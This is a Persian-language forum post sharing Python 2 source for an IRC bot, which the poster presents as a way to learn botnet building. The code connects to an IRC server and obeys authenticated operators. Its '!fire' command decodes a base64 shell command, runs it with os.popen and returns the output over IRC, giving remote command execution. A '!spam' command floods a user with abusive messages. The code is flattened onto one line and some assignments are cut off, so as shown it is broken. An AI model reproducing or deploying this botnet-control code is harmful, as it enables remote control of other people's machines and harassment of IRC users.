سلام به همه دوستان گل
تو این تاپیک یه سورس کد از یک بات IRC میزارم که نحوه کار با چنل های ای ار سی رو تو پایتون برای ساخت بات نت و غیر یاد بگیرین
امیدوارم مفید باشه [img]images/smilies/Smileys/8.gif[/img][img]images/smilies/Smileys/3.gif[/img]
تو این تاپیک یه سورس کد از یک بات IRC میزارم که نحوه کار با چنل های ای ار سی رو تو پایتون برای ساخت بات نت و غیر یاد بگیرین
امیدوارم مفید باشه [img]images/smilies/Smileys/8.gif[/img][img]images/smilies/Smileys/3.gif[/img]
کد:
# simple socket irc bot # TurboBorland # ssl is pretty slow, normal socket over, likely, port 6667 would be faster # if you want normal socket, get rid of try blocks after s=socket.socket, throw an s.connect((host,port)) in it's place # finally, replace all sslSocket with s import socket, ssl, sys from time import sleep import threading, os import base64 # for command encoding (spaces and other character problems we may have) #config host = 'irc.evilzone.org' #ip or hostname port = 6697 # ssl port master = 'TurboBorland' #who to report to nick = 'monstermash' ident = 'monstermash' realname = 'Indentured Bot' channels = ['myplace'] #channels to join on start opfile = 'opers' # ACL file name # test/create ACL file opers = try: f = open(opfile, 'r') except IOError, e: print('Could not open ACL file %s because:\n%s\n' % (opfile, e)) yno = raw_input("Would you like to create this file? (y/n)\n") if (yno == 'y'): opuser = raw_input('Enter username (needs to be identified):\t') f = open(opfile, 'w') f.write('%s\n' % opuser) f.close() f = open(opfile, 'r') else: sys.exit("\nCan not operate without oper file. Exiting.\n") for line in f: opers.append(line) f.close() # connect to server #socket.setDefaulttimeout(10) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: try: sslSocket = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1) #no cert validation enabled (cert_reqs=cert_required) sslSocket.connect((host,port)) print repr(sslSocket.getpeername()) except socket.error, e: print '\nAttempting with SSLv3' print('\nError message:\t%s' % e) try: sslSocket = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_SSLv3) sslSocket.connect((host,port)) print repr(sslSocket.getpeername()) except e: sys.exit('\nDoes not support tlsv1 or sslv3\nExiting.\n') except socket.error, e: sslSocket.close() sys.exit('\nError connecting to host. Error:\n%s' % e) greet = sslSocket.recv(1024) print 'Connecting to server...' sleep(10) # increase if slow connection print greet #association commands sslSocket.send('nick %s\r\n' % nick) sslSocket.send('user %s %s mooninite :%s\r\n' % (ident, host, realname)) #handle initial ping response = sslSocket.recv(254) sleep(10) print('Looking for initial ping request...\n%s' % response) if (response.find('PING') != -1): response = response.rstrip() response = response.split() sslSocket.send('PONG %s\r\n' % str(response[1])) #join channels for channel in channels: sslSocket.send('join #%s\r\n' % channel) print('Attempted to join channel %s' % channel) def auth(identer): # authenticate user. yes, takes one more logic check doing this for op in opers: sslSocket.send('privmsg nickserv status %s\r\n' % identer) ider = sslSocket.recv(124) ider = ider.split() if ((str(op).rstrip() == identer) and (ider[5] == '3')): return 1 def spam(user): # for threading purposes while 1: sleep(1) sslSocket.send('privmsg %s FUCK YOU\r\n' % user) return 0 # user commands while 1: chat = sslSocket.recv(176) #print chat, # disabled because constant prints brings down speed of script if (chat.find('PING') != -1): sslSocket.send('PONG\r\n') elif (chat.find('!suicide') != -1): print chat, fchannel = chat.split('!') identer = fchannel[0].lstrip(':') # calling username if (auth(identer)): sslSocket.send('quit I\'m on fire!!\r\n') s.close() sys.exit('\n!suicide given by %s\n' % identer) fchannel = elif (chat.find('!fire') != -1): print chat, oflag = 0 # if flag = 0, not enough options given for cmd fchannel = chat.split('!') identer = fchannel[0].lstrip(':') findcmd = fchannel[2].split() if (len(findcmd) == 2): oflag = 1 if ((auth(identer)) and (oflag == 1)): findchannel = chat.split() if (fchannel[1].find('#') != -1): # check if pm or public cmd = os.popen(base64.b64decode(findcmd[1])).read() sslSocket.send('privmsg %s %s\r\n' % (findchannel[2], cmd)) else: cmd = os.popen(base64.b64decode(findcmd[1])).read() sslSocket.send('privmsg %s %s\r\n' % (identer, cmd)) fchannel = findchannel = elif (chat.find('!joinall') != -1): print chat, oflag = 0 fchannel = chat.split('!') identer = fchannel[0].lstrip(':') if (auth(identer)): rooms = # for later spammy purposes sslSocket.send('list\r\n') sleep(5) listofchannels = s.recv(6046) # increase if big description/many channels findchannels = listofchannels.split() for word in findchannels: rooms.append(word) sslSocket.send('join %s\r\n' % word) sslSocket.send('privmsg %s Attempted to join %s\r\n' % (master,word)) fchannel = findchannels = elif (chat.find('!say') != -1): print chat, oflag = 0 fchannel = chat.split('!') identer = fchannel[0].lstrip(':') temp = fchannel[2] # only given command and text after new = temp.split() # split command and text to say if (len(new) >= 3): sayit = " ".join(new[2:]).rstrip() # text to say oflag = 1 if ((auth(identer)) and (oflag == 1)): findchannel = chat.split() if (fchannel[1].find('#') != -1): sslSocket.send('privmsg %s %s\r\n' % (findchannel[4], sayit)) else: sslSocket.send('privmsg %s %s\r\n' % (new[1], sayit)) fchannel = findchannel = new = elif (chat.find('!add') != -1): print chat, oflag = 0 fchannel = chat.split('!') identer = fchannel[0].lstrip(':') command = fchannel[2] username = command.split() if (len(username) == 2): user = username[1] oflag = 1 if ((auth(identer)) and (oflag == 1)): findchannel = chat.split() f = open(opfile, 'a') f.write('%s\n' % user) f.close() sslSocket.send('privmsg %s %s added to ACL by %s\r\n' % (master, user, identer)) if (fchannel[1].find('#') != -1): sslSocket.send('privmsg %s %s added to ACL\r\n' % (findchannel[2], user)) elif (master != identer): sslSocket.send('privmsg %s %s added to ACL\r\n' % (identer, user)) opers = f = open(opfile, 'r') for line in f: opers.append(line) f.close() fchannel = findchannel = username = elif (chat.find('!remove') != -1): print chat, oflag = 0 fchannel = chat.split('!') identer = fchannel[0].lstrip(':') command = fchannel[2] username = command.split() if (len(username) == 2): user = username[1] oflag = 1 if ((auth(identer)) and (oflag == 1)): findchannel = chat.split() f = open(opfile, 'w') f.write('') f.close() f = open(opfile, 'a') for op in opers: if (op.rstrip() != user): f.write(op) f.close() sslSocket.send('privmsg %s %s removed from ACL by %s\r\n' % (master, user, identer)) if (fchannel[1].find('#') != -1): sslSocket.send('privmsg %s %s removed from ACL\r\n' % (findchannel[2], user)) elif (master != identer): sslSocket.send('privmsg %s %s removed from ACL\r\n' % (identer, user)) opers = f = open(opfile, 'r') for line in f: opers.append(line) f.close() fchannel = username = findchannel = elif (chat.find('!ops') != -1): print chat, fchannel = chat.split('!') identer = fchannel[0].lstrip(':') if (fchannel[1].find('#') != -1): findchannel = chat.split() sslSocket.send('privmsg %s Ops:\r\n' % findchannel[2]) for op in opers: sslSocket.send('privmsg %s %s\r\n' % (findchannel[2], op)) else: sslSocket.send('privmsg %s Ops:\r\n' % identer) for op in opers: sslSocket.send('privmsg %s %s\r\n' % (identer, op)) fchannel = findchannel = # thread being a bitch and wanting to wait on thread finish ****not done**** elif (chat.find('!spam') != -1): print chat, fchannel = chat.split('!') identer = fchannel[0].lstrip(':') if (auth(identer)): thread = threading.Thread(target=spam(findchannel[4])) thread.daemon = True thread.start() elif (chat.find('!nick') != -1): print chat, oflag = 0 fchannel = chat.split('!') identer = fchannel[0].lstrip(':') findnick = fchannel[2].split() if (len(findnick) == 2): oflag = 1 if ((auth(identer)) and (oflag == 1)): sslSocket.send('nick %s\r\n' % findnick[1]) sslSocket.send('user %s %s mooninite :%s\r\n' % (findnick[1], host, realname)) # more can easily changed for more unique change fchannel = findchannel = elif (chat.find('!help') != -1): print chat, fchannel = chat.split('!') identer = fchannel[0].lstrip(':') if (auth(identer)): sslSocket.send('privmsg %s Commands:\n|' % identer) sslSocket.send('privmsg %s | !suicide - kill bot\r\n' % identer) sslSocket.send('privmsg %s | !say - !say \#channel text to send\r\n' % identer) sslSocket.send('privmsg %s | !add - add an operator\r\n' % identer) sslSocket.send('privmsg %s | !remove - remove an operator\r\n' % identer) sslSocket.send('privmsg %s | !ops - list operators\r\n' % identer) sslSocket.send('privmsg %s | !spam - spam user\r\n' % identer) sslSocket.send('privmsg %s | !joinall - parse list and join all found channels\r\n' % identer) sslSocket.send('privmsg %s | !nick - Change bots nickname\r\n' % identer) fchannel = elif (chat.find('PRIVMSG ' + nick) != -1): print chat, fchannel = chat.split('!') identer = fchannel[0].lstrip(':') sslSocket.send('privmsg %s Why the fuck are you messaging me?!\r\n' % identer) fchannel =